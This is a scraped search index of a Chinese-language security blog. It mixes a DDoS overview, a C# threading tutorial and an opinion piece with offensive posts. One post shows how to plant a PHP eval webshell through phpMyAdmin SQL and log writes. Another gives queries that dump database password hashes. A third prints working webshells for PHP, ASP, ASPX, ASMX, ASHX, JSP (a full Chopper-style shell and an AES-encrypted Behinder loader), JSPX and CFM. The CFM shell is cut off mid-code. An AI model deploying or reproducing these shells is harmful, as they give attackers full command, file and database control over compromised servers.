-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.json
1 lines (1 loc) · 42.8 KB
/
search.json
1
[{"title":"【BlackHat】DoS,DDoS與BotNet","url":"/2023/06/12/%E3%80%90BlackHat%E3%80%91DoSandDDoS/","content":"前言DoS/DDoS應該是小學生最喜歡的東西了,很多小學生和小屁孩都喜歡把說ddos然後就會覺得自己是黑客/駭客。(PS: 作者習慣使用黑客一詞,本文也會使用該詞)在2015-2016年左右時,台灣當時有很多人喜歡使用LOIC這種工具,然後就說自己是黑客。事實上他們那跟本就不是甚麼DDoS,只是DoS罷了,也許是說成DDoS聽上去會比較強吧。作者曾經也是那樣的人,所以我很討厭以前的自己(現在其實也差不多啦…)。DoS絕對不是甚麼好玩的東西,它的確是一種黑客會用的手段,但它也許是門檻最低的,然而正是因為門檻低,所以很多人都不願深入了解。DoS/DDoS需然看似很簡單,但是有很大的戰略價值,本文作者就打算記錄一下自己知道的,如果有一天我忘了也可以回來看,也算是給讀者們的科普。\n思考為甚麼要攻撃 ?是誰在攻撃 ?相信這都是每個網頁admin都會想過的問題,說出這方面的技術不是想讓你們去攻撃其他人,而是想讓你們知道相關原理,再進行防範。\nDisclaimer本文只限用於學習用途\nDoSIntroductionDoS全稱是 Denial of Server,技術上指的是發一大堆封包或Request到目標電腦上,讓目標因為過大的負荷而停止服務。DDoS多了一個 D (Distributed)所以本文會把 DDoS/DoS的大部份技術都放在DoS上,而DDoS就會和BotNet一起討論\n舊時代的DoSPing of Death以前的電腦無法處理大於IPv4最大的封包大小(65535 bytes)的ping封包,在目標接收到該封包後電腦會Crash掉\nTearDrop發送損壞的封包,癱瘓系統。\n以上兩種在現代基本已經過時,以下是目前主流的攻撃方式\n現代常用的DoS技巧攻撃BandWidth\nICMP/IGMP \nUDP Flood\n\n反射+放大攻撃Introduction英文是DRDoS(Distributed Reflection Denial of Service),某些網路服務對於Request和Response之間長度大小的不一致,如果這時source IP可被偽造,那這個很大的Response就會直接發到受害者的電腦上,還可以隱藏攻撃者的IP。\nMethod\nACK Reflect\nDNS Reflect\nNTP Reflect\nSNMP\n\n系統資源消耗Method\nTCP Flood\nSYN Flood\nPSH + ACK\nRST Flood\nSockstress\n\n誤區DDoS/DoS不全是Flood,的確目前大部份都是Flood,但也有所謂的 Low and Slow Attack \nSSL攻撃IntroductionSSL : Secure Sockets Layer \nMethod\nTHC SSL DoS\nSSL Flood\n\n攻撃應用資源Method\nDNS Query Flood\nDNS NXDomain\n\nWeb攻撃Method\nHTTP Flood\nSlowloris\nPOST\nReDoS\n\n漏洞型DoS找出網頁漏洞,該漏洞可把網頁直接卡死。\nMinecraft中的DoS普通DoS如上\nBOT發出特別的JSON封包到伺服器,該JSON封包在伺服器內構成虛擬玩家,達到伺服器最大人數時就會阻止其他正常玩定進入。同時虛擬玩家也可以進行無意義的洗版,進一步加重伺服器的負擔。\n現代DoS常用的工具綜合工具\nHping\nPenTBox\nZarp\n\n壓力測試壓力測試(StressTest)即合法的用DoS攻撃網站\n\nLOIC\nHOIC\nHULK\n\nPro\nSlowloris\nRUDY\nTHC SSL DOS\n\nDDoS & BotNetIntroductionDDoS就是比DoS多了一個D(Distributed)\nTheoryBotNet技術目前BotNet的主要技術有四個\n\nIRC\nTCP Server & Client\nHTTP\nP2P\n\n自願型BotNetBotNet可以用漏洞來「抓雞」,在受害者非自願的情況下進行攻撃,而自願型BotNet就是每個人都對目標發動DoS攻撃,很有名的Anonymous在過去就是這樣做的,每個成員都使用LOIC去攻撃。\nDDoS的戰術價值1.2. 用DDoS吸引人的注意,等企業內部人力資源集中在處理DDoS時,很有可能會被其他攻撃者以入侵的方式攻撃伺服器。歷史上真有其事,具體可參考「\nDDoS在黑色產業上的應用DDoS不止可以用來搞事情,還可以轉化為錢 : \n\n競爭為了打撃對手而進行DDoS\n勒索中小型公句和企業一般不具備防DDoS的技術,而專業的防DDoS又需要錢。攻撃者往往會把價錢定在一個「合適」的數字,讓受害者就範。\n報復攻撃者們會利用個人要報復而去攻撃的情緒,提出DDoS的服務\n\nDDoS的防範Introduction目前沒有一個完美的技術可以防DDoS,因為DDoS本來就是因為網路設計上的問題所導致的,但是有緩解和治理的方法。\nBotNet的打撃對BotNet的處理在現實中是很困難的事,因為數量太多而且分散在不同地方。但目前也有幾種可行的方法 : \n針對BotNet本身\nReverse Engineering : 取得樣本後把病毒特徵加到防毒軟體上,直接對成千上萬用戶檢查。\n接管或者摧毀BotNet : 很難的做法,一般需要政府間的合作,只有實力強大的跨國公司才可以做到,歷史上成功的例子就是Microsoft對Nitol的摧毀。\n\n直接封IP在以前中國GWF曾經因為技術上的問題而對國外做出疑似DDoS的行為,當時有幾個國家馬上封鎖中國的IP,當然了這招在現實中的中小企業不現實,除非攻撃者是使用DoS。\n針對Fake IP可以參考 CERT和IETF的方法\n\nCERT Advisory CA-1996-21\nRFC 2827\nUnicast Reverse Path Forwarding\n\n流量的稀釋\nCDN\nAnycast\n\n誤區\n防火牆可以防DDoS ?這是很大的誤會,強悍的DDoS反而會影響防火牆的運作效率。\n買更好的BandWidth好的BandWidth要更多的錢,而DDoS流量是用GB計算了,沒有太大的用處。\n\n","tags":["BlackHat","ddos","dos"]},{"title":"【Code】C# 元件Invoke的方法","url":"/2023/06/14/%E3%80%90Code%E3%80%91CSharpInvokeMethod/","content":"前言記錄一下C#中可以在Thread中存取Controls的方法\nC# 元件執行程式C# WindowsForm中我們可以把要執行的程式寫在元件的事件(Event)中,例如button1按下後可以彈出MessageBox的程式為\nprivate void button1_Click(object sender, EventArgs e){ MessageBox.Show("Hello world"); //MessageBox.Show("Hello world","Here is the test", MessageBoxButtons.OK, MessageBoxIcon.Error);}\n\n如果我們要把Hello world顯示在TextBox1上,那程式就會是\nprivate void button1_Click(object sender, EventArgs e){ textBox1.Text = "Hello world";}\n\n需要時間的程式現在考慮一個ConsoleApplication要把數字 i = 0 ~ 9999一行一行地顯示在Console上,這很簡單 :\nfor (int i = 0; i < 10000; i++){ Console.WriteLine(i);}\n\n可是如果在WindowsForm中要把 i = 0 ~ 9999一行一行地顯示在textBox1上呢 ?\nfor (int i = 0 ; i < 10000; i++){ textBox1.AppendText(i.ToString()); textBox1.AppendText(Environment.NewLine);}\n然後把這程式放到Button1內 :\nprivate void button1_Click(object sender, EventArgs e){ for (int i = 0 ; i < 10000; i++) { textBox1.AppendText(i.ToString()); textBox1.AppendText(Environment.NewLine); }}\n好像很簡單對吧 ? 但事實不是這樣,當你執行後你會發現你的WindowsForm根本動不了,過了一段時間後WindowsForm可以動,然後數字 0 ~ 9999會突然出現在textBox1上,可是現在我想要的結果是數字會像在ConsoleApplication上一行一行地顯示在TextBox上,而不是這樣突然出現,何況程式還會突然卡死。\n原因UI Thread (Main Thread)WindowsForm在不使用其他Thread的時候在程式打開(打開.exe檔)的一刻到程式關掉時,所有事都會發生在UI Thread上,例如for loop,Thread.Sleep(),Button按鍵等等,甚至包括WindowsForm本身的上下左右移動,也就是說當你按下button1時,程式就會進入for loop,而此時for loop就是發生在UI Thread上,直到for loop結束,UI Thread才會從for loop跑出來,可是在for loop結束之前,你的for loop都無法跑出來,也就不能對WindowsForm進行住何操作,而數字顯示在textBox1上這件事也是發生在UI Thread上,但此時UI Thread還在for loop當中,所以這就是為甚麼你的程式不能移動,也不會馬上顯示數字。\n解決方法Thread這邊我們會想到可以建立一個新的Thread,用這個Thread去執行for loop,具體方法如下 : \nvoid RunLoop(){ for (int i = 0 ; i < 10000; i++) { textBox1.AppendText(i.ToString()); textBox1.AppendText(Environment.NewLine); }}private void button1_Click(object sender, EventArgs e){ new Thread(RunLoop).Start();}\n看上去合理的程式,執行看看,又出現問題了,IDE會直接跟你說跨執行緒作業無效。\n原因新的Thread不能直接存取另外一個Thread,需要再加上一些東西,可以使用delegate或MethodInvoke的方法解決,這邊我提供一個我自己常用的方法,就是直接對元件Invoke\n對元件直接Invokevoid RunLoop(){ for (int i = 0 ; i < 10000; i++) { textBox1.Invoke(new Action(() => { textBox1.AppendText(i.ToString()); textBox1.AppendText(Environment.NewLine); })); //或者以下寫法 //textBox1.Invoke(new Action(() => textBox1.AppendText(i.ToString()))); //textBox1.Invoke(new Action(() => textBox1.AppendText(Environment.NewLine))); }}private void button1_Click(object sender, EventArgs e){ new Thread(RunLoop).Start();}\n如此一來,數字就可以一行一行顯示\n傳參數一個參數現在讓for loop的最大數字可控 :\nvoid RunLoop(object o){ for (int i = 0 ; i < (int)o; i++) { textBox1.Invoke(new Action(() => { textBox1.AppendText(i.ToString()); textBox1.AppendText(Environment.NewLine); })); //或者以下寫法 //textBox1.Invoke(new Action(() => textBox1.AppendText(i.ToString()))); //textBox1.Invoke(new Action(() => textBox1.AppendText(Environment.NewLine))); }}private void button1_Click(object sender, EventArgs e){ object o = 10; new Thread(RunLoop).Start();}\n\n多個參數現在讓for loop的最大數字可控且在指定TextBox顯示 :\nvoid RunLoop(object o){ object[] obj_array = (object[])o; int max = (int)obj_array[0]; TextBox textbox = (TextBox)obj_array[1]; //TextBox textbox = obj_array[1] as TextBox; for (int i = 0 ; i < (int)o; i++) { textbox.Invoke(new Action(() => { textbox.AppendText(i.ToString()); textbox.AppendText(Environment.NewLine); })); //或者以下寫法 //textbox.Invoke(new Action(() => textbox.AppendText(i.ToString()))); //textbox.Invoke(new Action(() => textbox.AppendText(Environment.NewLine))); }}private void button1_Click(object sender, EventArgs e){ int max = 100; new Thread(new ParameterizedThreadStart(RunLoop)).Start(new object[] { max, textBox1 });}","categories":["Code"],"tags":["Code","C#","Program"]},{"title":"【Tech】[PenTest] phpMyAdmin的getshell方法","url":"/2023/06/12/%E3%80%90Tech%E3%80%91-PenTest-phpmyadmingetshell/","content":"前言在滲透測試中有時可以運氣行好直接登入到phpMyAdmin,下一步我們可以透過getshell進行更深入的滲透,例如像域滲透這種。 \n環境\nWindows 11\nApache + php8.2\nphpMyAdmin\n\n前提需要以下條件\n\nphpMyAdmin最好是root帳號\n知道Absolute Path (本文使用 D:/xampp/htdocs)\n\n實戰Geshell方法phpMyAdmin getshell一般有兩種方法 : \n\nSQL getshell\n後端 getshell\n\n第一種是使用SQL把webshell寫到伺服器上,第二種是改後端密碼上傳webshell。\nSQL getshell常用方法 - 使用 select into outfile這應該是最常用的方法了,在知道路徑的情況下可以用這招\nselect load_file('D:/xampp/htdocs');select '<?php phpinfo();?>' into outfile 'D:/xampp/htdocs';\n這是最簡單的方法,也是很容易失敗的方法,大部份網頁admin都不是傻的,他們會有設定檔案權限,此時執行\nSHOW VARIABLES LIKE "secure_file_priv";\n\nValue一般會有兩種結果\n\nFolder路徑 : 代表只有該路徑才可以修改\nNULL : 禁止修改\n\nLog寫shellMySQL 5.0以上會自動寫Logs,把執行過的SQL指令都寫進一個.log檔,那如果此時的檔案不是.log而是.php呢? \n執行以下指令\nSHOW VARIABLES LIKE 'general%';\n\nset global general_log = "ON";set global general_log_file="D:/xampp/htdocs/shell.php";\n就會在D:/xampp/htdocs 生成一個shell.php然後再 \nselect '<?php @eval($_POST['pass']); ?>'\n就可以getshell了\n技巧最簡單的php一句話木馬 \n<?php @eval($_POST['pass']); ?>\n也是最容易被防毒查出來的,如果webshell的code寫得比較多可以把webshell base64加密,再使用php的 base64_decode(); 函數解密。\n注意Log寫webshell的方法動作會很大的,會很容易被發現。另外記得要把一開始的.log檔案記下,不然你會無法還原。\n後端GetShell後端登入\n以wordpress為列子,phpMyAdmin+wordpress是比較容易getshell的,因為wordpress是基於php的,而後端一般都會有檔案修改和上傳等功能。Wordpress登入後端目前還算是很容易的,兩種做法 : \n\n破解密碼Hash\n在無法破解的情況下直接改密碼\n\n\nWordPress加密後的密碼很上去很亂,但要改也不難,假設你的新密碼是admin,那就把admin以MD5加密,把MD5 Hash換進去就可以了。\n\nGetShell方法一般三種方法 \n\n模版上傳\nPlugin上傳\n直接插入一句話木馬\n\n這種用第三種會比較好,因為前兩種都比較容閉被發現。\n","tags":["pentest","php","phpmyadmin","getshell","webshell"]},{"title":"【Nonsense】資安圈 = 娛樂圈 ? 對資安圈現在的想法","url":"/2023/06/12/%E3%80%90Nonsense%E3%80%91hack-entertain/","content":"前言一直以來黑/駭客(本文用黑客一詞)給人的感覺都是很神秘和很帥,在很多電影中黑客給一種就是救埸王的感覺,小事就是入侵手機,大事就是入侵衛星。但真的是這樣嗎 ?我在資安這圈子時間也不算短了,打算分享一下我的想法。\n\n技術的發展從古到今一直都有出現很多很令人興奮的新技術,這些技術不管是在文化還是科技上都把文明的時鐘推前了一大步,這些技術發展到今都有有些共同的特徵,會出現現狂熱朝,大家都在討論這種技術,當技術慢慢地成熟時,技術的細節已經不是大眾能理解的了,而是由幾個這方面領域的專家開拓的。那技術成熟之後呢 ? 當大家都可以接觸到這種技術的表面時,就會出現很奇怪的現像,大家都想分高下,看看誰能了解得更多,每當有人對這件事進行提問題,大家都會爭先恐後地發表自己所知道的。\n\n對黑客的印象現實大眾對黑客的印象大眾對黑客的印象大概就是「天才」之類的。\n動漫中的黑客全是美少女,帥哥\n電影中的黑客全是帥哥美女,\n現實中的黑帽黑客做不好就等死吧。\n\n媒體的渲染媒體很喜歡把少年黑客叫做「天才」「最強」\n資安VS畫畫在美術領域中從來不乏年輕而且畫畫很漂亮的人,在資安領域也是一樣,但是可以被同行稱為高手或大師的人又有多少個 ?我以前也有做過類似的事,可是後來我覺得這是很愚蠢的行為。\n\n黑客甚麼都能黑?這是很大的誤會,以iphone為例子,雖然一直有一個說法是iphone有國家的後門存在,但要破解Iphone這種手機對大部分黑客(白帽+黑帽)都絕對不是甚麼容易的事,本文中第一部份說到入侵手機是一事「小事」,如果你指的入侵是任何一個人的手機只要有打開就能入侵的話,那這絕對不是甚麼小事。有很多人一聽到黑客這兩個事就會問他「你能幫我破解FB嗎 ?」大概在大眾的眼中破解一個帳號是一件很容易的事。漏洞找不到就是找不到,就像100%的HTML網頁,只有hello world的程式你要資安人士在這找出漏洞,他大概只會想打你。\n\n找漏洞是很有趣的事 ?能找到漏洞然後寫出Exploit或者POC當然有趣,那要是找不到呢 ?相信有滲透相關經驗的人都體驗過那種坐在電腦前甚麼都找不到的感想,然後還是寫一個簡單的reflect xss在報告上。\n\n實力上的比較比較的意義全心全意討論技術的人可以說是越來越少了,很多人學了資安相關的技術就要馬上告訴全世界自己是黑客,能得到身邊同年齡人的認可的確很重要,但絕對不是用這種方法。\n領域的比較一直有人覺得黑客有所謂的最強,首先資訊安全是一個很大的領域,密碼破解、滲透測試、緩衝區溢位、物聯網安全、大規模監控、大規模掃瞄、數據修改、黑帽SEO等等…不同領域的實力強弱比較是沒有太大意義的,就好像要在跑步和跳高兩個領域進行比較並不合理一樣。如果要比較,那就應該是對社會XXX或者年薪等等有共通點的比較。\nBug Bounty計劃Bug Bounty的確是一個能看排名的計劃,2016年大陸的烏雲網還沒關閉時就有一個長期在榜一的大哥,叫做豬豬俠(曾發現阿里巴巴,百度等等存在高危漏洞),Bug Bounty的漏洞是會以分數進行計算的,如此一看那的確是可以在滲透方面分出高下。\n工具編寫寫工具也是一個很多比較的方法,總會有人因為寫出很有名和很好用的工具而成名\n黑客與英雄主義資安領域也有著英雄主義,會有黑客因為做出某件事而被大眾稱為英雄,\nOpenBSD crowd is a bunch of masturbating monkeys — Linus\n這句話是Linux之父Linus罵OpenBSD的話,因為Linus認為軟體的bug比安全漏洞還要多,而資安人士因為找到漏洞成為英雄但忽略了一般bug的問題。\n","categories":["Nonsense"],"tags":["nonsense","thinking","hacker"]},{"title":"【Tech】[SQL]SQL注入取得使用者帳號密碼的方法","url":"/2023/06/12/%E3%80%90Tech%E3%80%91-SQL-SQL%E6%B3%A8%E5%85%A5%E5%8F%96%E5%BE%97%E4%BD%BF%E7%94%A8%E8%80%85%E5%B8%B3%E8%99%9F%E5%AF%86%E7%A2%BC%E7%9A%84%E6%96%B9%E6%B3%95/","content":"前言記錄幾個在sql注入中可以把database user, password拿出來的方法\nSQLMapsqlmap.py -u xxx --passwords\n\nSQL Query//MySQLselect host,user,password from mysql.user;//SQL Server 2022SELECT name, CONVERT(varchar(max), password_hash, 1) AS hashed_password FROM sys.sql_logins"},{"title":"【Tool】SiteHunter","url":"/2023/06/06/%E3%80%90Tool%E3%80%91SiteHunter/","content":"簡介SiteHunter是一個用C#編寫的網站掃瞄工具,功能如下 : \n\nC段掃瞄\n目錄掃瞄\n子域名爆破\nUrl Collector\n\nGitHubhttps://github.com/malbuffer4pt/SiteHunter\nScreenshot\n","categories":["Tools"],"tags":["pentest","SiteHunter","Information","Scan","C段掃瞄","旁注","子域名","目錄爆破","工具"]},{"title":"【Tech】一句話木馬","url":"/2023/06/06/%E3%80%90Tech%E3%80%91%E4%B8%80%E5%8F%A5%E8%A9%B1%E6%9C%A8%E9%A6%AC/","content":"甚麼是WebShellWebShell是在滲透測試和入侵時都會用到的工具,是一種後門,需要注意的時WebShell和網頁木馬不一樣,網頁木馬是掛在正常網頁上的木馬程式,當使用者瀏覽網頁時就會下載或執行木馬。WebShell是用來控制一整個網頁伺服器的工具。WebShell有以下三種 :- 大馬 : 檔案大,30~70KB以上,加密後會超過100KB。- 小馬 : 檔案小,一般在10KB以下 - 指令執行木馬 : 只能簡單地執行的Shell Command. - 一句話木馬 : 功能可超越大馬,容易隱藏和改造。 \n 一句話木馬在現今的入侵和滲透用的webshell基本上用的都是一句話木馬,大馬的好處是所有執行的Payload都是在localhost上進行,不使用HTTP POST,可以不考慮WAF,但因為檔案太大很容易會被發現,而且不容易寫變種。一句話木馬雖然會因為使用HTTP POST會被WAF檢查,但是很容易寫變種和隱藏,還可以直接寫在正常的檔案內。\n\n一句話木馬客戶端指的是先把對應語言的Payload寫好,再用客戶端發起 POST Request,這樣就會非常方便在大陸以前比較有名的工具叫 中國菜刀,大陸現在比較常用的工具有三個 :\n\n蟻劍\nGodzilla\n冰蝎\n\n這邊推一下我自己寫的Alienhttps://malbuffer4pt.github.io/Alien\n\n一句話木馬的程式在伺服器沒有裝WAF,Anti-Virus時,只需要用這不到 1KB的程式就可以控制一整台伺服器如下圖 (工具: Alien)\n以php為例,PHP一句話木馬為 \n<?php @eval($_POST['pass']); ?>\n$_POST[‘pass’] : 取得HTTP POST參數為pass的Data@eval($str); : 把 $str 以PHP Code執行 , @ 代表如果 $str == null時就不顯示結果(這樣就增加了隱密性。)所以 @eval($_POST[‘pass’]); 就可以把HTTP POST的內容執行, 如 : \npass=phpinfo();\n就可執行phphinfo(); \nASP : \n<% execute(request("pass")) %>\n\nASPX : \n<%@ Page Language="Jscript"%><%eval(Request.Item["pass"])%>\n\n關於ASMX, ASHX, CFM, JSP, JSPX和NodeJS木馬它們的特點都是沒有「好用」(對攻撃者而言)的eval()函數,或者使用上會比較麻煩…ASMX和ASHX是我在Freebuf上找到的,作者是Ivan,這也有寫進Alien內。而CFM是一個很老的東西了…\nASMX<%@ WebService Language="JScript" class="ScriptMethodSpy"%>import System;import System.Web;import System.IO;import System.Web.Servicesimport System.Web.Script.Servicespublic class ScriptMethodSpy extends WebService{ WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void { var I = HttpContext.Current; var Request = I.Request; var Response = I.Response; var Server = I.Server; Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>"); eval(Ivan); }}\n\nASHX<%@ WebHandler Language="JScript"class=" HandlerSpy "%>import System;import System.Web;import System.IO;public class HandlerSpy implements IHttpHandler{ function IHttpHandler.ProcessRequest(context : HttpContext){ context.Response.Write("<H1>Just for fun, Do not abuse it!Written by <ahref='https://github.com/Ivan1ee'>Ivan1ee</a></H1> "); eval(context.Request["Ivan"]); } function get IHttpHandler.IsReusable() : Boolean{ return false; }}\n\nJSPJSP目前主要有兩種,菜刀形和冰蝎形菜刀形 :\n<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="sky";String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\\r\\n");Class.forName(x[0].trim()).newInstance();Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\\t"+sT+"\\t"+l[i].length()+"\\t"+sQ+"\\n");}else{sF+=l[i].getName()+"\\t"+sT+"\\t"+l[i].length()+"\\t"+sQ+"\\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2){os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\\r\\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);while(r.next()){sb.append(r.getString("TABLE_NAME")+"\\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\\r\\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\\t|\\t");}sb.append("\\r\\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\\t|\\t");}sb.append("\\r\\n");}r.close();}catch(Exception e){sb.append("Result\\t|\\t\\r\\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\\t|\\t\\r\\n");}catch(Exception ee){sb.append(ee.toString()+"\\t|\\t\\r\\n");}}m.close();c.close();}%><%String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\\r\\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());%>\n菜刀形就是把所有功能全部寫進一個JSP檔,然後在HTTP POST的時候就會以A, B, C, …, M 執行不同Payload,然面再接上一些參數。\n下面是冰蝎 :\n<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")) { String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);} %>\n冰蝎使用的是ClassLoader(),這樣就相當於是一個Eval函數了。\nJSPX<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>\n\nCFM<CFSET O="" /><CFTRY><CFSWITCH EXPRESSION=#Form.chopper#><CFCASE VALUE="A"><CFSCRIPT>O=O&Expandpath("./")&Chr(9);for(c=65;c lt 91;c=c+1){if(DirectoryExists(Chr(c)&":\\"))O=O&Chr(c)&":";}</CFSCRIPT></CFCASE><CFCASE VALUE="B"><CFDIRECTORY DIRECTORY="#Form.z1#" NAME="D" SORT="Type"><CFLOOP Query="D"><CFSCRIPT>O=O&D.Name;If(D.Type eq "Dir")O=O&"/";O=O&Chr(9)&DateFormat(D.DateLastModified,"yyyy-mm-dd")&TimeFormat(D.DateLastModified," HH:MM:ss")&Chr(9)&D.Size&Chr(9);If(Left(Form.z1,1) eq "/"){O=O&D.Mode;}else{O=O&D.Attributes;}O=O&Chr(10);</CFSCRIPT></CFLOOP></CFCASE><CFCASE VALUE="C"><CFFILE ACTION="Read" FILE="#Form.z1#" VARIABLE="O"></CFCASE><CFCASE VALUE="D"><CFFILE ACTION="Write" FILE="#Form.z1#" OUTPUT="#Form.z2#"><CFSET O="1" /></CFCASE><CFCASE VALUE="E"><CFSCRIPT>Function DF(P){F=CreateObject("java","java.io.File").init(P);L=0;i=0;if(F.isDirectory()){L=F.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(not L[i].delete()){DF(L[i].getPath());}}}F.delete();}DF(Form.z1);O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="F"><cffile action="readbinary" file="#Form.z1#" variable="B" /><cfset J=CreateObject("java","java.nio.ByteBuffer") /><cfset X=J.Allocate(JavaCast( "int", ArrayLen(B)+6)) /><cfset X.Put(ToBinary(ToBase64("->"&"|")), JavaCast("int",0), 3 ) /><cfset X.Put(B, JavaCast("int",0), JavaCast("int",ArrayLen(B)) ) /><cfset X.Put(ToBinary(ToBase64("|"&"<-")), JavaCast("int",0), 3 ) /><CFCONTENT Type="application/octet-stream" Variable="#X.Array()#"><CFABORT></CFCASE><CFCASE 